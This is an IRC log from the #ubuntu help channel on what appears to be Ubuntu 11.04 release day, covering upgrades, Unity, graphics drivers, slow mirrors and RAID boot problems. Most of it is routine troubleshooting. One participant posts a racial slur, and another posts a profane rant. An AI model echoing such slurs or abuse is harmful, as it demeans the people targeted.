[21:47] <arangaran> hello guys, anyone could give me a hand with a problem with 11.04 live cd?
[21:47] <acicula> see toggle for encrypt my home directory
[21:47] <BlouBlou> arangaran: sure, ask it
[21:47] <ohsix> acicula: i hope you have your machine under lock and key
[21:47] <acicula> been there since 9.10
[21:47] <bashelina> LjL, how can I remove something ? im installing from a cd
[21:47] <cordoval_> where do I download natty img
[21:47] <cordoval_> url please
[21:47] <LjL> bashelina: oh well install first, then worry about that later
[21:47] <guntbert> profundo: I guess the servers are under heavy load right now, how about you wait a few days?
[21:48] <ohsix> acicula: i'll take your word for it
[21:48] <vanguard> bashelina: open ubuntu software center -> installed apps -> remove
[21:48] <profundo> oh right, thank you
[21:48] <LjL> bashelina: if you haven't installed yet, then i think you'll find that after installation is done, you will have no big trouble setting a language different from your locale
[21:48] <vanguard> does Natty work with the proprietary ATI driver?
[21:48] <escott> acicula, talk to arand or myself before going btrfs on /
[21:48] <arangaran> ok, well i downloaded 11.04 and tested it in my dell inspiron studio 1558 and all good and great but when i use the keyring thing, to secure a password for the system the whole laptop crashes giving me a kernel panic and a stack dump with registers and stuff and given that it's a live cd there's no way to get a log
[21:48] <Confusionist> Right, this has a solution for python 2.7, but it does involve editing some 'random' file: http://ubuntuforums.org/archive/index.php/t-1649948.html
[21:48] <cordoval_> natty on asus g73 please help
[21:48] <bashelina> LjL, ok ill try
[21:48] <acicula> escott: i wasnt planning on switching
[21:48] <nutsfornatty> vanguard: yes, though the offical ati drivers have been released by amd
[21:49] <Q-collective> arand: thanks, that worked
[21:49] <ohsix> acicula: it's important to segregate information that actually needs to be secure/encrypted, you are no better off encrypting everything without segregating things
[21:49] <Joseph_> cordoval: http://www.ubuntu.com/download/ubuntu/download
[21:49] <k_89> hi..... i have a toshiba sattelite and i had to change the grub to make ubuntu work, will i have to do that again after upgrade... in need to do this acpi=copy_dsdt to install ubuntu
[21:49] <bashelina> LjL, but then i cant choose the swedish keyboard mapping ... ???
[21:49] <vanguard> nutsfornatty: okay, so it will work as good as it worked with Maverick. Good to know
[21:49] <nutsfornatty> vandguard: http://support.amd.com/us/gpudownload/linux/Pages/radeon_linux.aspx
[21:49] <adwonw> Doesn't anybody know why Unity won't load on my new ubuntu 11.04 installation?!
[21:49] <ryankask> ohsix: sorry to both you ... where can i find a bug report for the i910 driver?
[21:49] <ryankask> bother*
[21:49] <ohsix> acicula: of course it's a cool thing to do; and people hear encryption and think its awesomr
[21:49] <ohsix> ryankask: i915?
[21:49] <LjL> bashelina: well again i don't know, haven't used Natty... certainly the old installer inquired about the keyboard layout separately
[21:49] <Kyle__> Wow.  I'm going to stick with unity for a few days to see if it grows on me, but first impressions are god-awful.
[21:50] <jiohdi> adwonw: typing unity in terminal gave no results?
[21:50] <cordoval_> escott: so I burn the livecd and just wipe things out? should I burn then natty or mint?
[21:50] <Q-collective> my temperature applet on the gnome bar now show two "XX" instead of a temperature. What could be wrong?
[21:50] <[dlp]> I've got i915 problems.
[21:50] <vanguard> is there anything one might consider before running Maverick->Natty?
[21:50] <arangaran> BlouBlou any ideas?
[21:50] <iceroot> vanguard: never touch a running system
[21:50] <nutsfornatty> kyle_: learn the keyboard shortcuts .. it helps alot. i hated it too. love unity now.
[21:50] <LjL> vanguard: that the mirrors are probably slow right now, for one thing
[21:50] <arand> vanguard: backup?
[21:50] <ryankask> ohsix: i910
[21:50] <Kyle__> vanguard: That it defaults to unity.
[21:50] <ohsix> ryanakca: upstream is on freedesktop, but you want to report it on launchpad so someone can port a fix to a release
[21:50] <W43372> I'm trying to install Fedora on a flash drive in Ubuntu but the startup disk creator won't let me. how do?
[21:50] <vanguard> iceroot: yeah, that is what I am thinking about …
[21:50] <ryankask> ohsix: maybe i915
[21:50] <vanguard> LjL: okay, I should have figured
[21:50] <Kyle__> nutsfornatty: maybe that'll help.  I hate that it steals the menu bar and puts it up top ala OSX
[21:50] <escott> cordoval_, sure? whatever version you want to install the halevt was on 10.10?
[21:50] <adwonw> jiohdi: it produced some sort of error.
[21:50] <ohsix> vanguard: my big trouble was migrating my compiz settings
[21:51] <kire> hm, it seems the behaviour of the compiz window picker (scale module) changed, I can't close windows with middle mouse button anymore?
[21:51] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[21:51] <stefg> vanguard: backups are never a bad idea
[21:51] <BlouBlou> arangaran: well, without logs and exactly error I can't see what's the problem
[21:51] <RichardJ> why has installing gnome3 (on 11.04) given me a horrible theme?
[21:51] <adwonw> estamp (4045470).  This most likely represents a buggy client sending inaccurate timestamps in messages such as _NET_ACTIVE_WINDOW.  Trying to work around...
[21:51] <d3vlin> is it possible to change the apt mirror that is being used by the natty installer?
[21:51] <adwonw> Window manager warning: 0x1800003 (Bottom Exp) appears to be one of the offending windows with a timestamp of 167746096.  Working around...
[21:51] <cordoval_> halevt was in natty
[21:51] <hypetech> !gnome3 | RichardJ
[21:51]  * Kyle__ nods
[21:51] <ubottu> RichardJ: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are _experimental_, _unstable_ and may break your system.
[21:51] <vanguard> Kyle__: but isn't the "Gnome Classic" just the reguar Gnome I had in Maverick?
[21:51] <jiohdi> adwonw: you may need to uninstall and then reinstall unity then
[21:51] <nutsfornatty> i use deja dup for all my backups. its in the software center
[21:51] <BlouBlou> arangaran: try using another kernel, do you have any older one?
[21:51] <vanguard> stefg: I do them often, regulary and manifold :)
[21:51] <ohsix> kire: the action binds were pared down, just rebind the button in ccsm
[21:51] <[dlp]> ohsix: A lost laptop could easily be an identity fraud bonanza without encrypted filesystems.
[21:51] <acicula> ohsix: all i wanted to know was how to enable ecryptfs so ubuntu can mount it on login really
[21:51] <arangaran> BlouBlou: it's the LiveCD i havent even installed it yet
[21:51] <cordoval_> rats! halevt or whatever it was, itgave problems when upgrading from 10.10 to naty escott
[21:51] <ryankask> [dlp]: what i915 problems do you have>
[21:51] <RichardJ> hypetech: I know, but it's just weird that the theme for gnome-wm has been replaced
[21:51] <Kyle__> vanguard: Yes, I'm just avoiding it for a few days to see if unity will grow on me ;)
[21:51] <cordoval_> www.ubuntu.com?
[21:51] <W43372> I'm trying to install Fedora on a flash drive in Ubuntu but the startup disk creator won't let me. how do?
[21:51] <Kyle__> vanguard: But it seems solid so far (mind you I've been using it for all of 20 minutes now).
[21:52] <vanguard> Kyle__: Unity is too much OSX-Clone for me :)
[21:52] <BlouBlou> arangaran: what about 'alternate CD'?
[21:52] <jiohdi> Kyle__: like a fungus it will
[21:52] <nutsfornatty> keepassX is good for encypted password storage
[21:52] <ohsix> [dlp]: encryption doesn't solve you losing physical security of your encrypted information
[21:52] <skulltip> err.. mac is too much linux clone
[21:52] <vanguard> ohsix: that is what backups are for
[21:52] <Q-collective> my temperature applet on the gnome bar now show two "XX" instead of a temperature. What could be wrong?
[21:52] <jdahm> escott: so I used raid to install and I'm all done.  I installed mdadm in the chroot.  Do I need to copy over the mdadm.conf file?
[21:52] <ohsix> nutsfornatty: gnome comes with a keyring too
[21:52] <W43372> I'm trying to install Fedora on a flash drive in Ubuntu but the startup disk creator won't let me. how do?
[21:53] <BlouBlou> arangaran: Did you try it?
[21:53] <ohsix> vanguard: nay, if it was just that, it wouldn't need to be said
[21:53] <cordoval_> rats! get me the natty url, is the latest or the LTS?
[21:53] <Adwait_Neo> MSG FloodBot3 hello
[21:53] <adwonw> Fuck this shit. I've grown tired of this mess in Ubuntu. Sometimes random shit just breaks and I need to spend hours trying to figure out how to fix it. On more jolly occasions, such as this one, a new installation will have something broken de facto. FUCK YOU UBUNTU, I'm switching back to Windows, where I can actually get some work done.
[21:53] <vanguard> skulltip: hmm, I think Ubuntu had the maximize button on the right when OS X already had them on the left. I ever hated Ubuntu/Gnome for butting them on the left
[21:53] <BlouBlou> Adwait_Neo: maybe #ubuntu-bots ?
[21:53] <maco> !language | adwonw
[21:53] <ubottu> adwonw: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[21:53] <arangaran> BlouBlou: i havent tried that, i wanted to test this new version before deciding to install it, the alternate cd kind of defeats the idea of testing before installing i just wonder if the huge crash got something to do with my machine in specific or ubuntu? or if in the worse case scenario something is damaged in my laptop although all works fine under w7 sp1 64
[21:53] <nutsfornatty> ohsix: so very true. but i need to use my passwords on osx and win machines too. so im forced to keepassX :-(
[21:53] <cordoval_> escott: LTS or latest?
[21:53] <guntbert> W43372: this will only work if the CD image has a special structure
[21:53] <Macer> in order to upgrade to 11.04 server do i just change the name from maverick to natty ?
[21:53] <ohsix> vanguard: in fact i'm quite insulted, but compiz changed versions and .9 doesn't read the old settings, and the thing that migrates some of the settings miss a _lot_ of them
[21:53] <vanguard> adwonw: sure, Windows works if you know how to work with it. Linux is only free, if your time has no value :)
[21:53] <Macer> for apt?
[21:53] <escott> jdahm, you will need to have a valid mdadm.conf on the system, you could copy it or rebuild it post install, copying may be easier
[21:53] <guntbert> Macer: no
[21:54] <nutsfornatty> lol @ switching back to windows to avoid problems. have fun installing two dozen drivers and redoing it at the first virus
[21:54] <ohsix> nutsfornatty: yar i use keepass on my phone
[21:54] <W43372> guntbert ?
[21:54] <Macer> guntbert: do you have a link that explains the instructions?
[21:54] <LjL> please keep it ontopic, the person has left anyway
[21:54] <guntbert> !upgrade | Macer
[21:54] <jiltdil> i have write "unity" under termianl and hit enter it suddenly vanishes my max,miz button also the left pannel completely?why it is happening?
[21:54] <ubottu> Macer: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[21:54] <Macer> thanks
[21:54] <mictlantecuhtle> Is anyone else having problems with maximized windows being blank?
[21:54] <[dlp]> ohsix: No, but it does make that information much more difficult to read.
[21:54] <vanguard> ohsix: I was so happy to get whiggly windows after 5 years … maybe I should not touch it then? :-/
[21:54] <[dlp]> ohsix: Even if you don't encrypt swap.
[21:54] <ohsix> mictlantecuhtle: is it all windows or just firefox, and are you using an nvidia card?
[21:54] <escott> cordoval_, its up to you what version you want to run
[21:55] <BlouBlou> arangaran: well, I don't know then, I just can tell you than Unity doesn't work for me, and I'm using classic-desktop, so there is not big difference between 10.10 and 11.04 on my PC. Anyways, you may want to try Kubuntu, I think it uses the same kernel, but I'm not 100% sure
[21:55] <cordoval_> of course the latest!
[21:55] <cordoval_> rats!
[21:55] <coco> how is 11.04
[21:55] <jibadeeha> mictlantecuhtle, i use to get that with banshee
[21:55] <guntbert> W43372: it usually only works with ubuntu (maybe debian) CD images, there must be a certain directory structure
[21:55] <cordoval_> what kind of question is that, leaving it up to me? I just want the latest
[21:55] <escott> cordoval_, the halevt happened when you tried a fresh install of 10.10 during install, or post install during upgrade to natty?
[21:55] <BlouBlou> coco: #ubuntu-offtopic to talk about it :-)
[21:55] <coco> thanks
[21:55] <mictlantecuhtle> ohsix: all windows, they don't even have to be maximized, just stretched beyond a certain size, and yes I'm using an nvidia card
[21:55] <nutsfornatty> coco: feelings are very mixed. but i think with time most people will enjoy the changes (aka unity)
[21:55] <ohsix> vanguard: it's not a blocker, but if you care that something was adjusted by .02 to suit your prefences, look forward to manually migrating your settings
[21:55] <W43372> guntbert it's the .iso i got from the fedora website. I want it on my flash drive so I can install it on this machine that dont have no cd drive
[21:55] <cordoval_> escott: post install during upgrade to natty
[21:55] <Kyle__> Does the time&date applet use the ntpserver listed in /etc/default/ntpdate?
[21:56] <cordoval_> rats!
[21:56] <d3vlin> is it possible to change the apt mirror that is being used by the natty installer?
[21:56] <jdahm> escott: looks like it already created one for me
[21:56] <ohsix> mictlantecuhtle: is it a geforce mx or some similar older card?
[21:56] <mictlantecuhtle> ohsix: I linked to the release notes earlier, but it appears to point to the wrong bug (unless I've missed something)
[21:56] <cordoval_> escott: so I will burn the livecd and don't have those problems i hope
[21:56] <escott> cordoval_, i would wait a few days until things settle down and try again
[21:56] <vanguard> ohsix: the exact values are not that difficult, I'd just retweak them.
[21:56] <cordoval_> escott: what to burn the livecd?
[21:56] <OchoZero9> is there anyway to speed up the download to upgrade from alpha to final?
[21:56] <escott> cordoval_, unless you enjoy installing
[21:56] <cordoval_> I will burn the 64 bit right now, can't wait then I assume it will upgrade
[21:57] <Macer> guntbert: thank you so much.
[21:57] <guntbert> W43372: yes, and fedora CDs might have a different structure of directories, so creating a usb-drive with startup-creator won#t work
[21:57] <vanguard> cordoval_: k3b or brasero should do the trick
[21:57] <jdahm> escott: ok rebooting.  Wish me luck!
[21:57] <cordoval_> rats! I need to get work going
[21:57] <cordoval_> rats! and cats!
[21:57] <guntbert> Macer: you're welcome :-)
[21:57] <W43372> guntbert then how do
[21:57] <ohsix> [dlp]: assume a well equipped adversary, you say "more difficult", how much more" part of even bothering is quantifying the risk; use of such language probably betrays that you don't care or don't take it very seriously
[21:57] <nastjuid> OchoZero9: find a closer/faster mirror
[21:57] <W43372> guntbert then how do i do it
[21:57] <OchoZero9> I don't know how to do that
[21:57] <jiohdi> OchoZero9: if you have been regularly updating and upgrading till now you have just about the whole new set up
[21:57] <guntbert> W43372: well, try with unetbootin
[21:57] <arangaran> sigh i guess i'll need to wait another 6 months till they release 11.11 sad past ubuntu's were way better
[21:58] <arangaran> anyways thanks to all for the help
[21:58] <OchoZero9> I haven't used it in over a month
[21:58] <ohsix> vanguard: ok, your old settings are preserved in gconf; so if you do need to, you can, you may not have to; i just had quite a bit of daily tweaks in mine
[21:58] <Kyle__> OK, if one is to use unity, how do you go about adding and removing programs from that silly bar?
[21:58] <mictlantecuhtle> ohsix: yes, it's an older nvidia card, GeForce 6200 LE
[21:58] <jiohdi> OchoZero9: then wait a couple of days and do an update/upgrade and you will have it
[21:58] <jiltdil> how to use nity?
[21:58] <RAMPKORV> Hello people. I just ran the upgrade to 11.04 from 10.10. First thing I'm noticing is that X just froze. I'm not sure how to resolve it. Is this a common issue?
[21:58] <Gosha> How do I move the bar?
[21:58] <escott> Kyle__, start the program then right click on it and pin it
[21:58] <jiltdil> how to use unity?
[21:58] <Macer> looks like those ubuntu servers are getting a little beat up right now
[21:59] <d3vlin> I tried changing sources.list in tty1 after booting the ISO, then firing the install, but no luck. still the default repository mirror
[21:59] <RAMPKORV> I'm chatting from console now with irssi
[21:59] <vanguard> ohsix: I'll upgrade my sidekick computer to give it a test
[21:59] <vanguard> Gosha: the unity sidebar? you can't
[21:59] <OchoZero9> how do i chose a faster closer mirror?
[21:59] <Gosha> What!
[21:59] <Kyle__> escott: OK. Not very elegant, but I'll do it for now :)
[21:59] <Kyle__> escott: Thanks.
[21:59] <vanguard> Macer: I pray that my ISP has a mirror :)
[21:59] <jiltdil> RAMPKORv:how to chat via termianl?
[21:59] <ohsix> mictlantecuhtle: OK; there are texture size limits on some older cards, it might not work well & the only solution that might be offered is blacklisting it due to the limitation, do you know if you are using the proprietary driver?
[21:59] <Macer> vanguard: i'm getting 40K/s ;)
[21:59] <BlouBlou> jiltdil: go to GDM (login-menu) and select ubuntu-session, normal-session or unity-session
[21:59] <Gosha> How am I suppsed to use it with synergy and such then?
[21:59] <guntbert> OchoZero9: how about you wait a day or two?
[21:59] <vanguard> Macer: I'll race ya :D
[21:59] <RAMPKORV> jiltdil: I mean, I run irssi as my IRC client, as X doesn't seem to work
[22:00] <cordoval_> if you would excuse me I need my BW
[22:00] <jiltdil> ok
[22:00] <ohsix> Macer: pick a mirror in software properties; it will measure the speed of all of them :]
[22:00] <cordoval_> bye bye
[22:00] <OchoZero9> Is ther a way to parallel download? some files from one mirror, some from another?
[22:00] <LjL> !metalink | OchoZero9
[22:00] <ubottu> OchoZero9: A Metalink is a file which lists places (web mirrors, torrents) where a given file can be obtained, making downloads faster and more reliable. Metalink software and Ubuntu releases as metalinks: https://help.ubuntu.com/community/Metalink
[22:00] <m4rtin> OchoZero9: go to synaptic -> settings -> repositories. Select "Other" from the dropdown, then press "select best source"
[22:00] <RAMPKORV> I have only ran the upgrade to 11.04 and now X doesn't work
[22:00] <maco> OchoZero9: torrent?
[22:00] <jiltdil> BlouBlou:thanks
[22:00] <ohsix> OchoZero9: not really, at least not with http
[22:00] <Macer> 24.3kB/s
[22:00] <jiltdil> RAMPKORv:ok thanks
[22:00] <ohsix> m4rtin: thanks
[22:00] <Macer> awesome... feel like i'm on v.90
[22:01] <LjL> OchoZero9: oh wait you want to upgrade... then forget metalink
[22:01] <ohsix> Macer: do something about it
[22:01] <RAMPKORV> If nobody has any idea - how do I kill X so I can reinstall my NVIDIA driver - because it's still running, just not working
[22:01] <Macer> ohsix: heh. it's ok. i'm in no big rush. ;) i have to wait for a lot of stuff to finish anyways
[22:01] <d3vlin> It's kind of weird, the nl.archive.ubuntu.com allows about 100 kB/s, while nl3.arhive.ubuntu.com allows 6 MB/s, but stupid installer doesn't allow to change the mirror
[22:01] <Sexygurl2furl> how do i update ubuntu via update manager?
[22:01] <Galvatron> RAMPKORV: sudo servide gdm (or kdm) stop
[22:01] <RAMPKORV> Thanks
[22:01] <Sexygurl2furl> i want the new 11.04 software
[22:02] <stefg> RAMPKORV: sudo service stop gdm3
[22:02] <sburjan`> is there any way I can use Unity in 2D if I don't have proper hardware acceleration ?
[22:02] <acicula> it seems that setup-encryptfs-private with the home flag or ecrypfs-home-migrate will setup the encrypted home directory
[22:02] <Galvatron> RAMPKORV: *"service" of course
[22:02] <Macer> ohsix: software properties? in apt?
[22:02] <ohsix> d3vlin: don't anthropomorphise software ;] it has no intelligence
[22:02] <bashelina> RAMPKORV,  > sudo pkill X
[22:02] <d3vlin> ohsix: :)
[22:02] <jiltdil> how to configure effects related to unity?
[22:02] <ohsix> Macer: scroll up and see what m4rtin said
[22:02] <maco> jiltdil: ccsm
[22:02] <tashkas> does anybody here has good how to impgproxy to set up?
[22:03] <jiltdil> maco:ccsm?
[22:03] <Macer> ohsix: i'm using ubuntu server
[22:03] <stefg> !upgrade
[22:03] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[22:03] <maco> jiltdil: the compiz config settings manager. unity is a compiz plugin and so is in there
[22:03] <mictlantecuhtle> ohsix: I believe I'm using the proprietary driver. When I installed Maverick it gave me the option to install those drivers, I think. Everything was working fine until I upgraded to Natty.
[22:03] <jdahm> escott: ok I get a grub error 16
[22:03] <jdahm> grrr
[22:03] <maco> jiltdil: should be able to alt+f2 "ccsm"
[22:03] <Sexygurl2furl> can somebody help me?
[22:03] <W43372> guntbert I downloaded netbootin from their site it's not running
[22:03] <Sexygurl2furl>  iwant the new version of ubuntu
[22:03] <geekyogi> I want to move back to 10.10
[22:04] <ohsix> Macer: ah theres a text based thing that does the same but i think it's been removed; you can manually change your sources.list to a closer mirror though
[22:04] <maco> Sexygurl2furl: download links are on ubuntu.com
[22:04] <d3vlin> I remember the debian installer had that feature ages ago, to select mirror during the install process
[22:04] <Sexygurl2furl> maco
[22:04] <maco> geekyogi: download links for old releases are on cdimage.ubuntu.com
[22:04] <acicula> geekyogi: you can not downgrade unfortunately, only reinstall
[22:04] <Sexygurl2furl> i want to do it via update manager
[22:04] <maco> Sexygurl2furl: or use update manager as normal
[22:04] <Macer> ohsix: i honestly think on release day i would be hard pressed to find one that wasn't slow
[22:04] <geekyogi> aah
[22:04] <geekyogi> shit
[22:04] <escott> jdahm, grub should be configured to point at sda1 not md1, and should boot degraded then once the kernel is up and md modules loaded it should bring up sdb1
[22:04] <maco> geekyogi: watch the language
[22:04] <Sexygurl2furl> but it wont appear in update manager?
[22:04] <geekyogi> sorry
[22:04] <maco> geekyogi: if all it is is that you dont like unity, you can use classic ubuntu
[22:04] <maco> geekyogi: there's an option on the login screen
[22:04] <geekyogi> ooh k
[22:04] <W43372> guntbert I downloaded netbootin from their site it's not running
[22:04] <Sexygurl2furl> also why do you want to move back geert__ KYOGI?
[22:04] <Macer> but thank you for the help. i will just wait it out.. i don't want to use the one broken mirror.
[22:04] <maco> Sexygurl2furl: if you're on 10.10 it should. if its not showing, click hte check for new updates button
[22:04] <escott> jdahm, you were doing raid1 right?
[22:04] <ohsix> mictlantecuhtle: you might need to reinstall the proprietary driver; it's likely using nouveau, if it is you should probably report a bug about it, b ut the proprietary driver might suffice for  now
[22:05] <jdahm> escott: it points to /dev/sda on which /dev/sda1 (/boot) is, which is not part of the raid array
[22:05] <Sexygurl2furl> I DID MACO
[22:05] <jdahm> escott: I have boot on a separate partition
[22:05] <Sexygurl2furl> sorry
[22:05] <leagris> thanks for your help launching ccsm. Reverted to Ubuntu classic
[22:05] <htek> so what does ubuntu mean in nigger again I forgot ?
[22:05] <ohsix> Macer: i just updated and the mirror i use wasn't any slower than normal
[22:05] <escott> jdahm, thats the way i've always done it. should be fine
[22:05] <Sexygurl2furl> I did, and all I have our three updates.
[22:05] <geekyogi> also I find too much of processes in idle state
[22:05] <Sexygurl2furl> But none are the new version.
[22:05] <maco> Sexygurl2furl: it doesnt show "hey there's a new release" at the top, above where it lists the normal updates?
[22:05] <geekyogi> lots of CPU utilization
[22:05] <pumeust> why does Processes in System Monitor always show everything as 'sleeping'?
[22:05] <jdahm> escott: ok so I'm mounting stuff here again and I'm going to look around
[22:06] <jdahm> escott: hopefully with your help I can find whats wrong
[22:06] <ayecee> pumeust: because processes don't often have a lot to do.
[22:06] <Galvatron> geekyogi: Or you can alway reinstall 10.10. There's no need to hurry to 11.04, unless it has a solution for some citical issues you have.
[22:06] <Guest72146> hello
[22:06] <henway> nm
[22:06] <Sexygurl2furl> nope maco
[22:06] <ohsix> pumeust: because software often has nothing to do! or is waiting for something it needs
[22:06] <jiohdi> pumeust: its like those things that sit in a windows taskbar... stay resident but are not active at the moment
[22:06] <talntid> Sexygurl2furl, do the 3 new updates. After that, it should show the new distro.
[22:06] <|Seth|> how does one change settings in unity
[22:06] <mictlantecuhtle> ohsix: ok, I will try that. I'll stop bothering you for the moment, but I just want to say I appreciate your taking the time to help me out
[22:06] <|Seth|> the title bar text is black, and the panel is also black
[22:06] <vanguard> maco: 347 kB/s ;-)
[22:06] <andeeeuk> has anyone had problems updating to 11.04 with the repo?
[22:06] <maco> |Seth|: compiz config settings manager, aka "ccsm"
[22:06] <stefg> pumeust: because you won't notice the nano-second the process is doing its work, and then put again to sleep by the scheduler :-)
[22:07] <vanguard> Macer: 347 kB/s
[22:07] <|Seth|> marco oh okay
[22:07] <doncams> hello there
[22:07] <ohsix> mictlantecuhtle: please report a bug if you've found one with the nouveau driver :]
[22:07] <andeeeuk> kees saying i have no internet connection
[22:07] <maco> andeeeuk: like slowness? thatd be due to everyone trying at once
[22:07] <doncams> wtf I can't find anything with the unity ui
[22:07] <Guest72146> doncams:  how r u/
[22:07] <doncams> but nice job
[22:07] <maco> andeeeuk: could try another mirror if youre having trouble reaching your usual one
[22:07] <pumeust> ayecee,  but on my windows taskbar it always show a whole bunch of stuff active
[22:07] <doncams> fine I guess
[22:07] <ohsix> doncams: it's a plugin for compiz
[22:07] <Sexygurl2furl> thanks talntid
[22:07] <andeeeuk> maco yeah, i just wanted to update from the repo
[22:07] <POOPHAMMER> is there a way to force ubuntu to load its GUI?
[22:08] <jdahm> escott: I'm using raid5 for both / and /home (different arrays)
[22:08] <POOPHAMMER> it always just traps me in a terminal
[22:08] <andeeeuk> maco: how can you change the repo?
[22:08] <Guest72146> So I was wondering can any1 help me with gwibber?
[22:08] <ayecee> pumeust: like what?
[22:08] <maco> andeeeuk: there are a lot of repo mirrors. in the software sources thing, you can ask it to search for the fastest one, then use that
[22:08] <andeeeuk> im downloading the iso now
[22:08] <coz_> POOPHAMMER,  you have no desktop environment?
[22:08] <doncams> so it installed firefox 4. I don't see the firefox menu button. how do I make it appear?
[22:08] <POOPHAMMER> i used to
[22:08] <POOPHAMMER> until it stopped loading
[22:08] <escott> jdahm, that should be fine as long as the md stuff is in the initrd
[22:08] <ohsix> POOPHAMMER: if it's not starting on its own what are you going to force it to do?
[22:08] <andeeeuk> maco: thanks
[22:08] <POOPHAMMER> i have no idea
[22:08] <coz_> POOPHAMMER,   ok,,, do you have a cursor and wallpaper?
[22:08] <andeeeuk> maco i will take a look
[22:08] <W43372> guntbert I downloaded netbootin from their site it's not running
[22:08] <POOPHAMMER> no im in a terminal using IRSSI
[22:08] <jdahm> escott: yeah I'm confused to.. It's all mounted now.  Where is the first place to look?
[22:09] <POOPHAMMER> it just says welcome to ubuntu 10.10 tty sp,ething like that
[22:09] <coz_> POOPHAMMER, ok in  the text console there  ,, you have already logged in ..yes?
[22:09] <pumeust> ayecee a whole bunch of .exe things and other things i cant recall. usually it shows at least 30 - 40 things active
[22:09] <POOPHAMMER> i used to have the ubuntu desktop enviroment
[22:09] <[dlp]> ohsix: Do you actually want me to calculate the statistics?
[22:09] <POOPHAMMER> then one day it just stopped working
[22:09] <bashelina> whats a resonable size for / partition, if you have /home set to the reminder of the disk ???
[22:09] <henway> startx
[22:09] <coz_> POOPHAMMER,   ok  in that text console    type   sudo restart gdm
[22:09] <escott> jdahm, ever taken apart an initrd before?
[22:09] <[dlp]> ryanakca: It doesn't look like I'm getting any acceleration.
[22:10] <ayecee> pumeust: huh. well, most processes spend most of their time sleeping. I think you may have just misinterpreted what windows presented.
[22:10] <ohsix> [dlp]: you're the one thats quantified your risk ... it's part of the job, yes
[22:10] <[dlp]> ryanakca: I think X is using the wrong driver.
[22:10] <jdahm> escott: no, maybe I need to rebuild one...
[22:10] <Fixo> on ubuntu 11.04 running on live CD we don't have Unity desktop ??? only GNOME ?
[22:10] <kyo22> guys, I'm upgrading my ubuntu to 11.04 and it's asking the keyboard model
[22:10] <kyo22> how do I discover that?
[22:10] <acicula> kyo22: it means the keyboard layout
[22:10] <jdahm> escott: I come from archlinux, but I haven't ever dealt with initrds,  tried to always build my own kernels without them
[22:10] <maco> kyo22: it just wants to know if youre using a US-style keyboard, german, british, etc.
[22:10] <ohsix> [dlp]: what is your plan for rubber hose token disclosure?
[22:10] <escott> jdahm, if you want you could do that. copy the initrd off and gunzip it. then mount it loopback as ext2
[22:10] <acicula> kyo22: try the default
[22:11] <kyo22> it wants to know if it is dell, mac, vaio, etc
[22:11] <acicula> ohsix: rubber hose key discovery is a purely ubuntu-offtopic thing
[22:11] <kyo22> crazy stuff
[22:11] <stefg> Fixo: unity requires working 3d acceleration
[22:11] <ohsix> you can "lose" a laptop and lose a laptop as well
[22:11] <pumeust> ayecee, but i'm using xchat right now so why does processes say xchat is sleeping too?
[22:11] <acicula> kyo22: when in doubt use the default one
[22:11] <Gosha> Why is unity so poorly configurable?
[22:11] <POOPHAMMER> neither of those commands did anythin
[22:11] <POOPHAMMER> g
[22:11] <Fixo> thanks
[22:11] <escott> jdahm, you will see a base prelim filesystem in it. it needs your mdadm.conf and the mdadm kernel modules
[22:11] <ohsix> acicula: the whole discussion is, i just said it was bad advice
[22:11] <W43372> How does anybody get any help in this IRC? I haven't gotten an actual answer to any of my problems since Karmic was released
[22:11] <jdahm> escott: it should have at least shown the grub screen and the boot options if it sensed /dev/sda1 the boot partiiton
[22:11] <ayecee> pumeust: because it spends most of its time waiting for your input, or waiting for traffic from the network.
[22:11] <nerdshell> can I downgrade to 10.10 without loosing my data?
[22:11] <POOPHAMMER> ill bbl im just going to load windows
[22:11] <jdahm> escott: I think ti's something more fundamental than that
[22:11] <LjL> W43372: well, it certainly doesn't help that it's release day.
[22:11] <Guest72146> :s
[22:12] <maco> Gosha: because options confuse users, according to the koolaid gnome & canonical both drank
[22:12] <hypetech> nerdshell: I don't think you can downgrade
[22:12] <escott> jdahm, you think grub-install didn't work?
[22:12] <th0r> W43372: whining helps alot
[22:12] <ohsix> Gosha: because it hardly does anything? as a compiz plugin you can adjust its settings inccsm
[22:12] <LjL> nerdshell: downgrading is not supported, no
[22:12] <bashelina> W43372,  whats the question ?
[22:12] <jdahm> escott: well it HAS grub, and /dev/sda1 is definitely bootable...
[22:12] <jdahm> escott: I'm still thinkin what it could be
[22:12] <ohsix> neryour data is in /home, possibly /etc; if you don't do anything to delete or modify those places you won't lose it
[22:12] <escott> jdahm, try rerunning grub-install from a chroot environment
[22:13] <pumeust> ayecee, well when i'm on windows and i'm using mirc it always shows mirc.exe as active
[22:13] <Gosha> Well, one basic option should be switching where the sidebar is.
[22:13] <escott> jdahm, you will need to bind mount /dev to your chroot
[22:13] <ayecee> pumeust: I think you may be misinterpreting what windows is showing you.
[22:13] <jdahm> escott: yeah, and sys and proc and so forth
[22:13] <Sexygurl2furl> hey guys
[22:13] <W43372> bashelina, I'm trying to put fedora on a flash drive, but couldn't on the startup disk creator, someone told me to use netbootin. I downloaded it from the website but it won't run
[22:13] <jdahm> escott: I'm used to doing this ;)
[22:13] <[dlp]> ohsix: Rubber what?
[22:13] <Sexygurl2furl> should i iupgrade to 10.10
[22:13] <Sexygurl2furl> ??
[22:13] <lucas> hi! Installed natty beta2 a week ago. Now that the official release is out, do I have to reinstall again?
[22:13] <ohsix> pumeust: linux is not comparable to windows; and yea what ayecee said
[22:13] <LjL> !info unetbootin | W43372 why download it from the website when it's in the repos?
[22:13] <ubottu> W43372 why download it from the website when it's in the repos?: unetbootin (source: unetbootin): installer of Linux/BSD distributions to a partition or USB drive. In component universe, is optional. Version 471-2ubuntu1 (natty), package size 276 kB, installed size 820 kB
[22:13] <kdubois> lucas: do an apt-get upgrade, should be all up to par
[22:13] <escott> jdahm, had the feeling you had done this before
[22:13] <Sexygurl2furl> guys should i upgrade to 10.10
[22:13] <Sexygurl2furl> ????
[22:14] <stefg> pumeust: which is plain wrong.... most o fthe time the appplication is idling (sleeping) waiting for input
[22:14] <bashelina> W43372,  whats the filesystem on the flash drive ?
